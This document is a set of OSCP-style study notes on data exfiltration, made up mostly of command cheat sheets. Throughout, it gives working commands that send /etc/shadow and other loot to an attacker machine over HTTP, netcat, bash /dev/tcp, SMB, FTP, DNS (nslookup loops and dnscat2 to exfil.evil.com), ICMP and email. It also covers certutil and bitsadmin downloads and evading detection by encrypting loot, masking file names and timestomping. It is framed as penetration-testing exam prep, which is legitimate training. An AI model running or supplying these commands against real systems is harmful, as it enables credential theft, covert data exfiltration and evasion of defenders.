Data Exfiltration - Complete OSCP Notes

OSCP Prep

DATA EXFILTRATION — COMPLETE OSCP NOTES

Beginner → Advanced | All Commands | All Techniques

---

1. CORE CONCEPTS

Data exfiltration = getting files, loot, or output off a compromised host and back to your attack box (or vice versa — getting tools *in*). In OSCP this usually means pulling proof files, hashes, config files, database dumps, or source code off a target through whatever channel is available — which may be wide open (HTTP/SMB) or heavily restricted (egress-filtered, outbound-only on 443, no internet at all).

Decide your channel based on constraints

```
Can target reach Kali directly on any port?        -> HTTP/FTP/SMB
server on Kali, pull from target
Can Kali reach target directly?                     -> SCP/SMB/HTTP
push from Kali
Only outbound 80/443 allowed from target?           -> HTTP(S) POST
/ curl / wget / certutil
No direct network path at all (pivoted host)?       -> tunnel first
(see pivoting notes), then exfil
Heavy DLP / egress filtering / everything blocked?  -> DNS
tunneling, ICMP tunneling, steganography
Need encoding to survive shells/clipboards?          -> base64 /
xxd chunks pasted manually
```

Enumeration before exfil

```
        # What's actually listening / reachable outbound from the box?
        netstat -antp         # Linux
        netstat -ano           # Windows
        curl -v http://<kali_ip>   # test outbound HTTP
        nslookup <kali_ip>.nip.io  # test outbound DNS resolution works at
all
```

---

2. STARTING A LISTENER / SERVER ON KALI (the receiving end)

2.1 HTTP server (most common — simple pull)

```
        python3 -m http.server 8000
        python2 -m SimpleHTTPServer 8000
```

```
# PHP, if installed
php -S 0.0.0.0:8000
```

2.2 HTTP server that also accepts uploads (receive files pushed TO Kali)

```
# uploadserver (pip install uploadserver)
python3 -m uploadserver 8000
# victim pushes with:
curl -X POST http://<kali_ip>:8000/upload -F "files=@secret.zip"
```

2.3 FTP server (quick, anonymous)

```
python3 -m pyftpdlib -p 21 -w           # -w = allow write (receive uploads)
```

2.4 SMB server (great for Windows targets — no creds needed)

```
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -username user -password pass   # authenticated
```

2.5 Netcat listener (raw file transfer, zero dependencies)

```
nc -lvnp 4444 > received_file.zip
```

2.6 TFTP (common on old Windows, UDP based)

```
sudo atftpd --daemon --port 69 /tftp_root
mkdir -p /tftp_root && chmod 777 /tftp_root
```

---

3. PULLING FILES OUT (target initiates the transfer — preferred, avoids inbound firewall issues)

3.1 Linux targets

```
# curl
curl http://<kali_ip>:8000/linpeas.sh -o /tmp/linpeas.sh

# wget
wget http://<kali_ip>:8000/linpeas.sh -O /tmp/linpeas.sh

# Uploading loot FROM target TO Kali via curl POST
curl -X POST -F "file=@/etc/shadow" http://<kali_ip>:8000/upload

# Pure bash TCP (no curl/wget available)
exec 3<>/dev/tcp/<kali_ip>/4444
cat /etc/passwd >&3

# scp (needs creds / key, but very reliable, encrypted)
scp /etc/passwd kali_user@<kali_ip>:/tmp/

# base64 + netcat (binary-safe over text channels)
base64 /etc/shadow | nc <kali_ip> 4444
```

3.2 Windows targets

```
# PowerShell download
```

```
        Invoke-WebRequest -Uri http://<kali_ip>:8000/nc.exe -OutFile
C:\Windows\Temp\nc.exe
        (New-Object
Net.WebClient).DownloadFile('http://<kali_ip>:8000/nc.exe','C:\Windows\Temp\nc.exe')

        iwr -uri http://<kali_ip>:8000/file.exe -outfile file.exe

        # Upload (exfil) via PowerShell POST
        Invoke-WebRequest -Uri http://<kali_ip>:8000/upload -Method POST -
InFile C:\loot.zip

        # certutil (built-in, no admin, great for restricted boxes)
        certutil.exe -urlcache -split -f http://<kali_ip>:8000/file.exe
file.exe
        certutil -encode loot.zip loot.b64        # base64-encode loot
before pasting out manually

        # bitsadmin (built-in BITS service, stealthier, survives reboots)
        bitsadmin /transfer myjob /download /priority normal
http://<kali_ip>:8000/file.exe C:\Windows\Temp\file.exe

        # cmd copy over SMB share hosted on Kali
        copy \\<kali_ip>\share\loot.zip C:\Windows\Temp\loot.zip
        copy C:\loot.zip \\<kali_ip>\share\loot.zip   # push loot OUT to
Kali SMB share

        # FTP (built-in ftp.exe, scriptable)
        echo open <kali_ip> 21 > ftp.txt
        echo user anonymous anonymous >> ftp.txt
        echo binary >> ftp.txt
        echo put loot.zip >> ftp.txt
        echo bye >> ftp.txt
        ftp -s:ftp.txt
```

---

4. ENCODING / CHUNKING FOR RESTRICTED CHANNELS

When you only have an interactive shell / limited clipboard and no network transfer tool works, exfil data as text.

4.1 Base64 encode on target, decode on Kali

```
        # Linux target
        base64 /etc/shadow
        # copy the blob out manually, then on Kali:
        echo "<blob>" | base64 -d > shadow.txt

        # Windows target
        [Convert]::ToBase64String((Get-Content -Path "C:\loot.zip" -Encoding
Byte))
        # On Kali, reverse:
        echo "<blob>" | base64 -d > loot.zip
```

4.2 Chunking large files that exceed terminal/clipboard limits

```
        split -b 500 loot.b64 chunk_      # split into 500-byte pieces
        # paste each chunk_ out, then on Kali:
        cat chunk_* > loot.b64
        base64 -d loot.b64 > loot.zip
```

4.3 xxd / hex encoding alternative

```
        xxd -p /etc/shadow | tr -d '\n' > shadow.hex
```

```
# On Kali:
xxd -r -p shadow.hex > shadow
```

---

5. DNS EXFILTRATION (works even when ONLY DNS resolution is allowed outbound)

5.1 Using dnscat2 (full C2-style tunnel over DNS)

```
# Attacker
ruby dnscat2.rb --dns="domain=exfil.evil.com" --no-cache

# Victim
./dnscat --dns domain=exfil.evil.com
# inside dnscat2 session:
dnscat2> window -i 1
dnscat2> upload /etc/passwd remote_passwd
```

5.2 Manual DNS exfil (no tooling, raw encoded queries — last resort)

```
# Attacker: run tcpdump/Wireshark or a DNS server logging all queries on your authoritative domain
tcpdump -i eth0 udp port 53 -w dns_exfil.pcap

# Victim: encode data into subdomain labels and resolve them one chunk at a time
for chunk in $(base64 -w0 secret.txt | fold -w 60); do
  nslookup "$chunk.exfil.evil.com"
done
```

5.3 Extracting exfiltrated data back out of captured DNS queries

```
tshark -r dns_exfil.pcap -Y "dns.qry.name contains \"exfil.evil.com\"" -T fields -e dns.qry.name \
  | sed 's/\.exfil\.evil\.com//' | sort -u > reassembled.b64
base64 -d reassembled.b64 > secret.txt
```

---

6. ICMP EXFILTRATION

6.1 icmpsh

```
# Attacker
python2 icmpsh_m.py <kali_ip> <victim_ip>
# Victim
icmpsh.exe -t <kali_ip>
```

6.2 Raw ping-based exfil (data stuffed into ICMP payload)

```
# Attacker, capture payloads
tcpdump -i eth0 icmp -w icmp_exfil.pcap -X

# Victim, send a file's bytes as ping payloads (conceptual / crafted with hping3 or scapy)
hping3 <kali_ip> --icmp -d 100 --file secret.txt --sign exfil
```

---

7. EXFIL OVER OTHER LIVING-OFF-THE-LAND CHANNELS

7.1 WebDAV

```
        # Attacker, serve a WebDAV share
        wsgidav --host=0.0.0.0 --port=8000 --root=/tmp/webdav --
auth=anonymous
        # Windows victim
        net use Z: http://<kali_ip>:8000/
        copy C:\loot.zip Z:\
```

7.2 PowerShell over SMB / Base64 one-liner (quick exfil of small text loot)

```
        $data = Get-Content C:\Windows\System32\drivers\etc\hosts -Raw
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
        $encoded = [Convert]::ToBase64String($bytes)
        Invoke-WebRequest -Uri "http://<kali_ip>:8000/?d=$encoded" -Method
GET

        # Attacker-side, log every GET including the query string
        python3 -m http.server 8000     # check the access log / terminal
output for ?d=<blob>
```

7.3 Mail-based exfil (if SMTP egress allowed)

```
        swaks --to attacker@evil.com --from victim@corp.com --server
<smtp_ip> --attach loot.zip --body "data"
```

7.4 Cloud storage abuse (common in real engagements, mention for awareness)

```
        curl -T loot.zip -u "anonymous:" ftp://<storage>  # generic FTP
cloud push
        rclone copy loot.zip remote:bucket                # if rclone
configured on target
```

---

8. EXFIL THROUGH A PIVOT / TUNNEL (combine with lateral movement notes)

```
        # Once a SOCKS proxy is up (ssh -D, chisel, ligolo-ng — see pivoting
notes)
        proxychains curl -X POST -F "file=@loot.zip" http://internal-
dropbox/upload
        proxychains scp loot.zip user@internal_host:/tmp/

        # With ligolo-ng (full routing, no proxychains needed)
        curl -T loot.zip ftp://<kali_ip_via_tun_route>/   # works directly
once route is added
```

---

9. STAGING, COMPRESSION & STEALTH BEFORE EXFIL

9.1 Compress to reduce size / bundle multiple files

```
        tar -czvf loot.tar.gz /etc/passwd /etc/shadow /home/user/.ssh/
        zip -r loot.zip /var/www/html/config/
```

```
        Compress-Archive -Path C:\Users\victim\Documents -DestinationPath
C:\Windows\Temp\loot.zip
```

9.2 Encrypt/obfuscate before sending (avoid AV/DLP signature matches, and good practice)

```
        openssl enc -aes-256-cbc -salt -in loot.tar.gz -out loot.enc -k
<password>
        # Decrypt on Kali:
        openssl enc -d -aes-256-cbc -in loot.enc -out loot.tar.gz -k
<password>
```

9.3 Renaming / extension masking to blend in (be mindful, exam-appropriate only)

```
        mv loot.zip systemupdate.tmp
```

9.4 Timestomping (match legitimate file times, situational)

```
        touch -r /etc/hostname loot.tar.gz
```

---

10. VERIFY INTEGRITY AFTER TRANSFER

```
        # On victim before sending
        md5sum loot.zip
        sha256sum loot.zip
        # On Kali after receiving
        md5sum loot.zip
        sha256sum loot.zip
        # Compare — must match exactly, especially after any base64/chunking
step
```

---

11. QUICK REFERENCE / CHEAT TABLE

Scenario	Best Method	One-liner
Linux, outbound HTTP allowed	curl/wget pull	`curl http://kali:8000/f -o f`
Windows, no extra tools	certutil	`certutil -urlcache -split -f http://kali/f f`
Windows, need push to Kali	PowerShell POST / uploadserver	`Invoke-WebRequest -Method POST -InFile`
Any OS, authenticated share	SMB (impacket-smbserver)	`copy \\kali\share\f .`
Only DNS egress allowed	dnscat2	`dnscat --dns domain=evil.com`
Everything blocked, ICMP only	icmpsh	`icmpsh.exe -t kali_ip`
Small text loot, no network tool at all	base64 + manual paste	`base64 /etc/shadow`
Already pivoted/tunneled	proxychains / ligolo route	`proxychains curl -F file=@f url`
Large file, flaky link	split + reassemble	`split -b 500 loot.b64 chunk_`

---

12. TROUBLESHOOTING / GOTCHAS

- **certutil** is logged heavily by modern EDR/Defender — expect detection on hardened boxes; have a backup (bitsadmin, PowerShell) ready.
- Always verify **binary-safe transfer** — raw netcat redirection can corrupt binaries on some shells; prefer base64 encode/decode for anything non-text when using netcat/bash `/dev/tcp`.
- **DNS exfil is slow** (one chunk per query) — only use when nothing else works; keep payloads small.
- Confirm **firewall/AV** isn't just silently dropping outbound connections — test with a simple `curl -v` first before building anything complex.
- When pulling through a **SOCKS proxy**, remember proxychains doesn't carry ICMP/UDP — stick to HTTP/SMB/SCP style pulls.
- **Always hash-check** files after any encoding/decoding round trip — a single dropped character in base64 corrupts the whole file.
- Clean up dropped tool binaries (`nc.exe`, `chisel`, uploaded scripts) and delete transferred loot copies from the target after the engagement — required for OSCP exam hygiene and real-world professionalism.

---

13. EXAM-DAY MENTAL CHECKLIST

1. Identify what outbound channels are actually open (HTTP, SMB, DNS, ICMP) before picking a tool.
2. Prefer **pull** (target reaches out to Kali) over push whenever possible — simpler, avoids inbound firewall rules on Kali.
3. Compress + hash loot before transfer; verify the hash after.
4. If through a pivot, reuse your existing tunnel (proxychains/ligolo) rather than opening a new one.
5. Fall back order: direct HTTP/SMB → encoded manual paste → DNS/ICMP tunneling.
6. Keep a copy of every command used for your report/documentation.
7. Clean up transferred artifacts and listener processes once loot is confirmed received.

End of notes — compiled for OSCP PEN-200 style data exfiltration practice.